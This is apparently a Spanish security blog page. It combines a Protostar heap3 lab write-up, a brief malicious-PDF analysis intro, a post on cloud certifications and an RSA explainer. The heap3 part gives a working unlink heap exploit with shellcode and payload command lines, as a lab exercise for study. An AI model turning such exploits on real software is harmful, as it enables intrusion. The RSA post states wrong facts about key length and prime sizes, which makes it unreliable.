user@protostar:/opt/protostar/bin$ objdump -R ./heap3 ./heap3: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804b0e4 R_386_GLOB_DAT __gmon_start__ 0804b140 R_386_COPY stderr 0804b0f4 R_386_JUMP_SLOT __errno_location 0804b0f8 R_386_JUMP_SLOT mmap 0804b0fc R_386_JUMP_SLOT sysconf 0804b100 R_386_JUMP_SLOT __gmon_start__ 0804b104 R_386_JUMP_SLOT mremap 0804b108 R_386_JUMP_SLOT memset 0804b10c R_386_JUMP_SLOT __libc_start_main 0804b110 R_386_JUMP_SLOT sbrk 0804b114 R_386_JUMP_SLOT memcpy 0804b118 R_386_JUMP_SLOT strcpy 0804b11c R_386_JUMP_SLOT printf 0804b120 R_386_JUMP_SLOT fprintf 0804b124 R_386_JUMP_SLOT time 0804b128 R_386_JUMP_SLOT puts 0804b12c R_386_JUMP_SLOT munmap
Entonces nuestro objetivo va a ser poner aquí la dirección de nuestro shellcode o de lo que queremos ejecutar. Entonces lo primero que pensamos para resolver el ejercicio es poner aquí la dirección de la función winner() que obtenemos así:
$ nm /opt/protostar/bin/heap3 08048864 T winner
La idea, como ya hemos adelantado, es ubicar en la dirección 0x0804b128-12 el valor 0x08048864 y así cuando vaya a ejecutar la función puts() ejecutará la función winner().
Obtenemos el valor: >>> print hex(0x0804b128-12) 0x804b11c >>>
Probemos a ver con estos dos valores y a ver si conseguimos ejecutar la función winner():
(gdb) run A `python -c "print 'B'*32 + '\xfb\xff\xff\xff' + '\xfc\xff\xff\xff'+ 'A'*5 + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"` C Program received signal SIGSEGV, Segmentation fault. 0x08049906 in free (mem=0x804c058) at common/malloc.c:3638 3638 in common/malloc.c (gdb) x/34x 0x804c058 0x804c058: 0x41410043 0x04b11c41 0x04886408 0x00000008 0x804c068: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c078: 0x00000000 0x00000f89 0x00000000 0x00000000 0x804c088: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c098: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0a8: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0b8: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0c8: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c0d8: 0x00000000 0x00000000 (gdb) i r eax 0x8048864 134514788 ecx 0x0 0 edx 0x804b11c 134525212 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff6f0 0xbffff6f0 ebp 0xbffff738 0xbffff738 esi 0x0 0 edi 0x0 0 eip 0x8049906 0x8049906 <free+226> eflags 0x210206 [ PF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/i $eip 0x8049906 <free+226>: mov %edx,0x8(%eax) (gdb)
Viendo el resultado de la ejecución sigue no ejecutándose correctamente. Hemos hecho un pequeño progreso, pero aún no conseguimos ejecutar la función winner(), ¿por qué? Como vemos arriba falla cuando intentamos copiar en eax+8 el valor de edx, que si nos fijamos en lo que está haciendo es copiar el puntero a GOT[puts] -12 (0x804b11c) hacia el valor de winner+8 (0x08048864+8) provocando el segmentation fault, ya que winner+8, es una dirección de solo lectura de la sección .text y no se puede escribir sobre ella.
La razón de este comportamiento es algo que no habíamos tenido en cuenta y es la cuarta línea de la macro unlink():
#define unlink( P, BK, FD ) { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ }
La solución a este problema pasa por copiar en GOT[puts]-12 una dirección que apunte al shellcode que almacenaremos en el primer fragmento y desde ahí saltaremos a winner(). Como no estaremos apuntando sobre winner directamente y será el heap con permiso de escritura no se producirá una violación de segmento en la cuarta escritura de la macro unlink().
A continuación vamos a construir un shellcode que salte a la dirección de la función winner. Para eso lo haremos con un push/ret:
$ cat pushret.asm mov 0x08048864, eax ret $ objdump -d pushret.o pushret.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 68 64 88 04 08 push $0x8048864 5: c3 ret
El shellcode será “68 64 88 04 08 c3”. Este shellcode tiene un tamaño de 6 bytes, por lo que no será sobrescrito por la cuarta escritura de la macro unlink() y por tanto no destrozará el shellcode. Si fuera más grande deberíamos tener en cuenta que la cuarta escritura de la macro unlink() nos lo puede sobrescribir. Después de estos pequeños ajustes quedaría así la ejecución:
$ /opt/protostar/bin/heap3 `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+ '\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C that wasn't too bad now, was it? @ 1380116991
Como vemos hemos conseguido ejecutar la función winner(), tal y como era nuestro objetivo. Si algún exploiter experimentado encuentra alguna errata le agradeceré que me lo comunique para mejorar la entrada.
A continuación os pongo las referencias que para mí han sido imprescindibles para entender diferentes puntos del ejercicio. La referencia número tres me ha servido de guía para la resolución del ejercicio y la referencia 1 y 2, me han ayudado a entender muchos de los aspectos de cómo explotar la vulnerabilidad.
Referencias:
2. Linux Exploiting. Técnicas de explotación de vulnerabilidades en Linux para la creación de exploits. (blackngel)
3. Resolución del ejercicio Heap3, documento que ha servido de guía: http://www.kroosec.com/2013/01/protostar-heap3.html
4. The Malloc Maleficarum
5. Malloc Des-Maleficarum
6. Vudo Malloc Tricks
Análisis de PDF sospechosos
A raíz de los numerosos correos sospechosos con archivos adjuntos en formato PDF que estamos detectando últimamente, he decidido introducirme en el análisis manual de estos archivos para determinar si son maliciosos y qué comportamiento tienen, en caso de serlo. En este artículo voy a mostrar un sencillo ejemplo de generación y análisis de un PDF malicioso. Para la demostración haré uso de Metasploit para generar el archivo PDF malicioso y REMnux para el análisis del fichero PDF y su contenido. Vayamos por partes, para comenzar.
Generación del PDF
La creación es sencilla: simplemente se elige el exploit para la vulnerabilidad que se quiere aprovechar, en este caso se crea un archivo PDF en blanco con una vulnerabilidad en GetIcon para Adobe Reader (CVE-2009-0927). El código a ejecutar será un conexión inversa a la máquina del atacante.
Certificados en la nube
Por enésima vez en este blog, vamos a hablar de un asunto que por norma general, suele levantar ampollas… Estamos hablando, como no, de las certificaciones. Si a eso le añadimos otro tema de moda (aunque bueno este ya está un poco más trillado) como es el de la nube, solo nos queda agitar y… ¡Eh voilà! Obtendremos certificaciones tanto para entidades como para profesionales. ¡Que tiemble el campo del titular del perfil de LinkedIn! Así pues, vamos a introducir a nuestros queridos lectores en estas nuevas certificaciones. Antes de empezar, me gustaría aclarar que probablemente nos dejemos muchas certificaciones sin mencionar.
Con lo dicho, vamos a comenzar con un clásico en el mundo de las certificaciones profesionales en el ámbito TI, como son las provistas por EXIN, y como no, con un curso de… traten de adivinarlo… ¡Efectivamente! Un curso de fundamentos en Cloud Computing (como ven EXIN nunca deja de sorprendernos). Sin entrar en detalle, los cursos que se ofrecen para la consecución de esta certificación suelen tener una duración aproximada de 2 a 4 días. El objetivo de esta certificación es acreditar conocimientos en los conceptos básicos del cloud computing, que van desde aspectos conceptuales hasta una serie de nociones básicas que permitan la correcta selección de un proveedor de cloud. Este curso, al igual que otros cursos de fundamentos, suele estar dirigido a un público que quiere iniciarse en la materia y no dispone de amplios conocimientos previos en esta área. Para presentarse a este examen, no se requiere la asistencia obligatoria a ningún curso; no obstante se considera recomendable.
Si os parece que este título nobiliario se queda corto, también es posible subir de nivel y obtener la certificación EXIN Certified Integrator Secure Cloud Service; sin embargo la consecución de esta certificación no implica la realización de otro curso relacionado con cloud computing sino que requiere estar acreditado en Cloud Computing Foundation, IT Service Management Foundation (ISO 20000), e Information Security Foundation (ISO 27002). El disponer de estos tres certificados presupone que el acreditado dispone de conocimientos que le permitan tener en cuenta aspectos de seguridad y de gestión de servicios en relación a servicios de Cloud Computing.
Además de las certificaciones de EXIN existen otras certificaciones a título personal. Una de ellas viene de la mano de CompTIA, no tan conocida por estos lares en comparación con EXIN. La certificación en cuestión se denomina CompTIA Cloud Essentials y no deja de ser una certificación equiparable a la propuesta por EXIN. El temario de esta certificación es el siguiente:
2. Cloud computing y valor de negocio.
3. Perspectiva técnica y tipos de Cloud.
4. Pasos para conseguir una satisfactoria adopción del Cloud Computing.
5. Impacto y cambios del Cloud Computing en la gestión de servicios TI.
6. Riesgos y consecuencias del Cloud Computing.
Las demás certificaciones que me gustaría presentarles son las que propone la CSA (Cloud Security Alliance), quizá el organismo más representativo en cuanto a seguridad en el Cloud Computing. La primera de ellas, al igual que las anteriores, es una certificación para profesionales. Esta certificación se denomina CCSK (Certificate of Cloud Security Knowledge) y cabe destacar que está más enfocada a aspectos de seguridad, en comparación con las anteriores. En este sentido quizá es la más recomendable para los profesionales interesados en la seguridad de los servicios Cloud. El temario para preparar esta certificación se encuentra disponible en la propia web de la entidad y consta de:
- Guía de seguridad para áreas críticas de interés en cuanto a Cloud Computing. CSA.
- Evaluación de riesgos en Cloud Computing. ENISA.
Los exámenes que hay que realizar para conseguir estas certificaciones son de tipo test. En el caso de la certificación de EXIN consta de 40 preguntas y en los otros casos, de 50 preguntas.
Me he dejado para el final la parte referente a la certificación de proveedores de Cloud Computing. El marco propuesto por la CSA se denomina STAR (Security, Trust & Assurance Registry) y básicamente consiste en la creación de un registro de proveedores de Cloud Computing que proporcione información a los clientes acerca del grado de implicación de los proveedores en materia de seguridad. Este marco define tres niveles de certificación:
El primero consiste en una autoevaluación, por parte del propio proveedor, mediante el uso de un cuestionario proporcionado por la CSA. Este cuestionario está disponible en la propia web del organismo. Destacar que este primer nivel ha sido realizado por muchos proveedores importantes en referencia sus servicios Cloud. Entre éstos podemos encontrar: Amazon, HP, Microsoft, Red Hat, Symantec y un largo etcétera. Todos los cuestionarios de estas entidades están accesibles públicamente en el registro de la CSA. Les invito a echar un vistazo al cuestionario de Amazon para entender exactamente de qué va la cosa.
El siguiente nivel de certificación consiste en la certificación por parte de un tercero de la seguridad del proveedor de servicios cloud, partiendo de la consecución de la certificación ISO 27001 y el cumplimiento de una serie de criterios específicos definidos por la CSA, en una matriz de controles para el Cloud Computing. Existen entidades certificadoras que ya ofrecen servicios conjuntos de certificación en ISO 27001 y STAR, como es el caso de BSI. El último nivel de certificación, CSA STAR Continuos, actualmente está en desarrollo y se prevé que se encuentre disponible durante 2015.
Como pueden comprobar, poco a poco los servicios de Cloud Computing van conquistado cuota de mercado. Este hecho es irrefutable. Allá donde aparezca una nueva tecnología, habrá una nueva certificación. Y yo me pregunto ¿para cuándo las certificaciones en Big Data? Me van a permitir una última reflexión en lo que atañe a nuestra legislación. Ya sabemos que en el ámbito del cumplimiento del ENS, el CCN propone el uso de productos certificados; en este sentido quizá tendría cabida pensar en la certificación de servicios de Cloud Computing que den cumplimiento a los requisitos del ENS. Who knows?
Fundamentos sobre certificados digitales (VI) – Algoritmos Criptográficos
En nuestra entrada respecto a certificados digitales de este mes, nos vamos a centrar en un punto crítico dentro de la infraestructura de una PKI. Este tema se ha ido comentando leve y superficialmente en anteriores entradas; sin embargo, se trata de uno de los puntos más importantes que está afecta directamente con los propios a la construcción de los propios certificados y tiene una dependencia directa con la robustez de los mismos; este punto es el referente a algoritmos criptográficos.
Como introducción y a modo de repaso, un certificado digital no es ni más ni menos que un par de claves de criptografía asimétrica que, empleando las propiedades de las mismas, permiten identificar inequívocamente a una persona, entidad o website (en el caso de certificados SSL). Más información y detalle de esto en la entrada Fundamentos sobre certificados digitales I y II.
Las claves criptográficas se generan empleando algoritmos criptográficos, lo que propicia como ya se comentó, que cada clave empleada y cualquier información cifrada están directamente relacionadas mediante una relación matemática. Esto significa que siempre se conoce el método para obtener la clave privada correspondiente a una clave pública y viceversa (disponiendo de mensajes cifrados con las mismas). Entonces, ¿que impide a un tercero obtener la clave privada de alguien?, ¿cómo se puede asegurar la identidad de alguien únicamente basándonos en que posea una clave privada que aparentemente no es segura?
Los algoritmos de cifrado aprovechan operaciones que son sencillas de aplicar y que son extremadamente complejas de deshacer. Entiendo que este hecho es difícil de comprender, pero está directamente relacionado con la tecnología de cómputo actual y los métodos numéricos a nuestra disposición. Me explico: aunque el cómputo sea conocido y realizable, el hecho determinante es si se dispone de un método de resolución lineal y los mismos están implementados en hardware. Sin embargo, en los algoritmos de cifrado se aprovecha el hecho de que, con la tecnología y conocimiento existente en el momento en el que se diseñan, el tiempo de cómputo necesario para realizar las operaciones que permiten obtener una de las claves basándonos en la otra es, con mucho, más complejo que el necesario para generarlas y más largo que la propia vida del certificado.
Evidentemente y como más de uno ya habrá pensado, este hecho es relativo. Como es bien sabido, la tecnología avanza a pasos agigantados año tras año, y evidentemente no se disponía de la misma potencia de cálculo hace 20 años que ahora, ni se dispondrá de la misma potencia de cálculo ahora que dentro de 20. Del mismo modo, es posible que en el tiempo, se descubran métodos para resolver cómputo relacionado con el algoritmo de una forma más eficiente. Los hechos relatados hacen que un algoritmo que se considera seguro en un momento pueda dejar de serlo pasado un tiempo.
Un ejemplo conocido de este hecho es el algoritmo DES, que no se emplea para generación de claves asimétricas, pero sí para cifrado. En este caso, el algoritmo DES genera una clave, que es la que se emplea en el cifrado y el descifrado de la información.
El algoritmo DES surgió oficialmente el año 1975 y llegó a ser un estándar de facto de cifrado. De forma sencilla y omitiendo algunos detalles, el algoritmo DES es básicamente un algoritmo de cifrado por bloques: se ejecutan 16 fases idénticas de proceso denominadas rondas y en cada una de ellas se ejecuta la misma función (función de Feistel). Desde finales de los 70 hasta principios de los 90 aparecieron distintos grupos de investigadores que propusieron vulnerabilidades teóricas del algoritmo basadas en su criptoanálisis y se propusieron diversos modelos de máquinas para poder descifrar una clave DES en un tiempo razonable. Dichas máquinas eran inviables económica y técnicamente en los primeros años pero fueron yendo viables poco a poco conforme pasaban los mismos. Finalmente se demostró una de las vulnerabilidades del algoritmo en 1998, cuando se diseñó y construyó una máquina de propósito específico que fue capaz de obtener una clave DES basándose en datos cifrados en 2 días, sin desmerecer el trabajo de criptoanálisis realizado, fue la tecnología disponible en el momento para descifrar el algoritmo ya que, si el trabajo se realizó en dos días en 1998, ello implica que con la potencia de cálculo actual se descifraría la información en mucho menos tiempo.
Una vez puestos en contexto y pasando directamente a la materia que nos ocupa, si existe un algoritmo determinante en el uso de la criptografía en firma y certificado digital es el algoritmo RSA. El algoritmo se describe, de forma breve, como un algoritmo de clave asimétrica por bloques, y su robustez se basa en la complejidad computacional que requiere realizar una descomposición en factores primos de un número exponencialmente grande. Una descomposición de factores primos consiste en obtener de un número el conjunto de números primos que multiplicados de por sí dan dicho número. Este problema con números pequeños es sencillo de solucionar; más de uno se habrá acordado de sus tiempos en el colegio realizando descomposiciones en factores primos de números de dos y tres cifras. Sin embargo, este mismo problema con un número de cientos de cifras es muy complejo de resolver.
Un par de claves RSA, pública y privada, están formadas por dos partes diferenciadas denominadas módulo (n) y exponente (ec y ed). El módulo es común a ambas claves y el exponente es distinto en cada caso, empleándose el exponente de cifrado en la clave pública y el exponente de descifrado en la privada. Dichas partes tienen un propósito distinto dentro del cifrado y descifrado de la información.
Para la generación del módulo de las claves se deben seleccionar un par de números primos, la complejidad del cifrado dependerá directamente de la longitud de dichos números, por lo que por motivos de seguridad deberán seleccionarse aleatoriamente y deberán tener una longitud mínima.
Por otra parte, el cálculo de los exponentes se realiza basándose en relaciones matemáticas basadas en la función de Euler de los dos números primos originales. Estas relaciones permiten que ambos exponentes y el módulo cumplan con su función para el cifrado y descifrado.
Una vez se dispone de ambas claves, se puede realizar el cifrado y descifrado de la firma o información a enviar, para ello voy a recurrir a un sencillo ejemplo. Teniendo un mensaje M, el mismo se convierte mediante un protocolo pre acordado y reversible en un número entero m, sobre el que se implementará el cifrado. Dadas dos claves, una pública pub(n,ec), formadas por su módulo y exponente de cifrado y una clave privada priv(n,ed), formadas por su módulo y exponente de descifrado; el cifrado se aplicará con la siguiente fórmula:
Siendo c el mensaje cifrado que se podría transmitir sin riesgos. Se calcula la potencia del mensaje por el exponente de cifrado y se calcula el resto de su división por el módulo de la clave (dicha operación se denomina módulo, valga la redundancia). Ese último valor es el mensaje cifrado. Por su lado el descifrado se realiza del siguiente modo:
Una vez recibido y descifrado el mensaje con un método semejante al del cifrado, se volvería a aplicar el protocolo pre acordado para obtener el mensaje original M a partir de su número entero equivalente m. Esta relación es posible gracias a las propiedades matemáticas que se mencionan en la creación de los exponentes.
Como es obvio, el objetivo de un atacante que quiera suplantar la identidad de alguien empleando su certificado digital será obtener el exponente de descifrado dado que el módulo de la clave es común con la clave pública. Dado que los exponentes se calculan empleando los números primos originales que constituyen el módulo, para romper el cifrado se deberá factorizar el módulo para encontrarlos. Al ser el método de cifrado público, una vez obtenidos dichos números se podría generar ambas claves.
Como se ha podido observar las operaciones que se realizan en el cifrado y descifrado son relativamente simples, un detalle importante para la viabilidad de uso de un protocolo; del mismo modo, y a pesar de que no se ha entrado en detalles, las operaciones necesarias para obtener las claves RSA son más complejas que las de cifrado y descifrado, pero son exponencialmente más sencillas que las asociadas a la operación inversa, que requiere la factorización de números muy grandes.
La longitud de la clave RSA será por tanto la suma de las longitudes de módulo y cualquiera de los exponentes. Esta longitud se establece en bits y la seguridad del cifrado es directamente proporcional a la longitud de su clave, ya que la clave será más larga cuando más grande sea el número a factorizar. Lo habitual y recomendable en la actualidad es emplear claves de 2048 bits de longitud (lo que se traduce en emplear números primos de unas 617 cifras aproximadamente para calcular el módulo). Como es obvio, estos criterios se revisarán con el paso del tiempo y dependerán de la potencia de cómputo, así como de las vulnerabilidades o métodos que se puedan aplicar en el protocolo.
El método criptográfico empleado es fundamental para implantar criptografía de clave pública o cualquier otro método de cifrado, ya que determina específicamente la robustez del sistema implementado.
Con esto es todo, espero haber podido daros un poco de idea de qué es la criptografía y como funciona, así como cómo se aplica en certificados y firmas digitales. Espero que la entrada no haya resultado demasiado extensa ni demasiado compleja, ya que se trata de una materia que entiendo que para muchos puede ser algo aburrida. Muchas gracias por leernos como siempre, próximamente más entregas de esta serie.